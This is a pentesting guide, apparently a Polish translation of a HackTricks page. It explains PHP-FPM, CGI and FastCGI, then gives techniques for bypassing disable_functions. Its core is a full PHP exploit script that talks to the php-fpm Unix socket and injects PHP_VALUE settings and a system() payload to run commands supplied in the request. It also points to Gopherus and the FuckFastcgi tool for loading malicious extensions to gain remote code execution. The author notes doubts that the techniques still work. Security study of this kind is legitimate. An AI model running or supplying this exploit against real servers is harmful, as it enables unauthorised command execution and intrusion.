PHP-FPM jest przedstawiane jako lepsza alternatywa dla standardowego PHP FastCGI, oferując funkcje, które są szczególnie korzystne dla stron internetowych o dużym ruchu. Działa poprzez proces główny, który nadzoruje zbiór procesów roboczych. W przypadku żądania skryptu PHP, to serwer WWW inicjuje połączenie proxy FastCGI z usługą PHP-FPM. Usługa ta ma zdolność do odbierania żądań zarówno przez porty sieciowe na serwerze, jak i przez gniazda Unix.
Pomimo pośredniczącej roli połączenia proxy, PHP-FPM musi działać na tej samej maszynie co serwer WWW. Połączenie, którego używa, chociaż oparte na proxy, różni się od konwencjonalnych połączeń proxy. Po odebraniu żądania, dostępny pracownik z PHP-FPM przetwarza je—wykonując skrypt PHP, a następnie przesyłając wyniki z powrotem do serwera WWW. Po zakończeniu przetwarzania żądania przez pracownika, staje się on ponownie dostępny dla nadchodzących żądań.
Ale co to jest CGI i FastCGI?
CGI
Normalnie strony internetowe, pliki i wszystkie dokumenty, które są przesyłane z serwera WWW do przeglądarki, są przechowywane w określonym publicznym katalogu, takim jak home/user/public_html. Gdy przeglądarka żąda określonej zawartości, serwer sprawdza ten katalog i wysyła wymagany plik do przeglądarki.
Jeśli CGI jest zainstalowane na serwerze, dodawany jest również określony katalog cgi-bin, na przykład home/user/public_html/cgi-bin. Skrypty CGI są przechowywane w tym katalogu. Każdy plik w katalogu jest traktowany jako program wykonywalny. Gdy uzyskuje się dostęp do skryptu z katalogu, serwer wysyła żądanie do aplikacji odpowiedzialnej za ten skrypt, zamiast wysyłać zawartość pliku do przeglądarki. Po zakończeniu przetwarzania danych wejściowych, aplikacja wysyła dane wyjściowe do serwera WWW, który przesyła dane do klienta HTTP.
Na przykład, gdy uzyskuje się dostęp do skryptu CGI http://mysitename.com/cgi-bin/file.pl, serwer uruchomi odpowiednią aplikację Perl przez CGI. Dane generowane z wykonania skryptu będą przesyłane przez aplikację do serwera WWW. Serwer z kolei przekaże dane do przeglądarki. Gdyby serwer nie miał CGI, przeglądarka wyświetliłaby kod pliku .pl. (wyjaśnienie z tutaj)
FastCGI
FastCGI to nowsza technologia internetowa, ulepszona wersja CGI, ponieważ główna funkcjonalność pozostaje ta sama.
Potrzeba opracowania FastCGI wynika z szybkiego rozwoju i złożoności aplikacji w Internecie, a także z potrzeby rozwiązania problemów ze skalowalnością technologii CGI. Aby sprostać tym wymaganiom, Open Market wprowadził FastCGI – wersję CGI o wysokiej wydajności z ulepszonymi możliwościami.
disable_functions bypass
Możliwe jest uruchomienie kodu PHP, wykorzystując FastCGI i omijając ograniczenia disable_functions.
Via Gopherus
Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nic się nie wykonało. Proszę, jeśli masz więcej informacji na ten temat, skontaktuj się ze mną przez [grupę telegramową PEASS & HackTricks tutaj](https://t.me/peass), lub twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Używając Gopherus, możesz wygenerować ładunek do wysłania do nasłuchującego FastCGI i wykonać dowolne polecenia:
Uploading and accessing this script exploit zostanie wysłany do FastCGI (wyłączając disable_functions) i określone polecenia zostaną wykonane.
PHP exploit
Nie jestem pewien, czy to działa w nowoczesnych wersjach, ponieważ próbowałem raz i nie mogłem nic wykonać. Właściwie udało mi się zobaczyć, że phpinfo() z wykonania FastCGI wskazywało, że disable_functions było puste, ale PHP (jakoś) nadal uniemożliwiało mi wykonanie jakiejkolwiek wcześniej wyłączonej funkcji. Proszę, jeśli masz więcej informacji na ten temat, skontaktuj się ze mną przez [PEASS & HackTricks telegram group here](https://t.me/peass), lub twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Używając poprzedniej funkcji zobaczysz, że funkcja system jest nadal wyłączona, ale phpinfo() pokazuje disable_functionspusty:
Więc myślę, że możesz ustawić disable_functions tylko za pomocą plików konfiguracyjnych php .ini, a PHP_VALUE nie nadpisze tej ustawienia.
To jest skrypt php do wykorzystania protokołu fastcgi w celu obejścia open_basedir i disable_functions.
Pomoże ci to obejść surowe disable_functions do RCE, ładując złośliwe rozszerzenie.
Możesz uzyskać do niego dostęp tutaj: https://github.com/w181496/FuckFastcgi lub nieco zmodyfikowana i ulepszona wersja tutaj: https://github.com/BorelEnzo/FuckFastcgi
Zauważysz, że exploit jest bardzo podobny do poprzedniego kodu, ale zamiast próbować obejść disable_functions używając PHP_VALUE, próbuje załadować zewnętrzny moduł PHP do wykonania kodu, używając parametrów extension_dir i extension wewnątrz zmiennej PHP_ADMIN_VALUE.
UWAGA1: Prawdopodobnie będziesz musiał przecompilować rozszerzenie z tą samą wersją PHP, którą używa serwer (możesz to sprawdzić w wynikach phpinfo):
UWAGA2: Udało mi się to uruchomić, wstawiając wartości extension_dir i extension do pliku konfiguracyjnego PHP .ini (czego nie będziesz w stanie zrobić atakując serwer). Ale z jakiegoś powodu, używając tego exploita i ładując rozszerzenie z zmiennej PHP_ADMIN_VALUE, proces po prostu umarł, więc nie wiem, czy ta technika jest nadal ważna.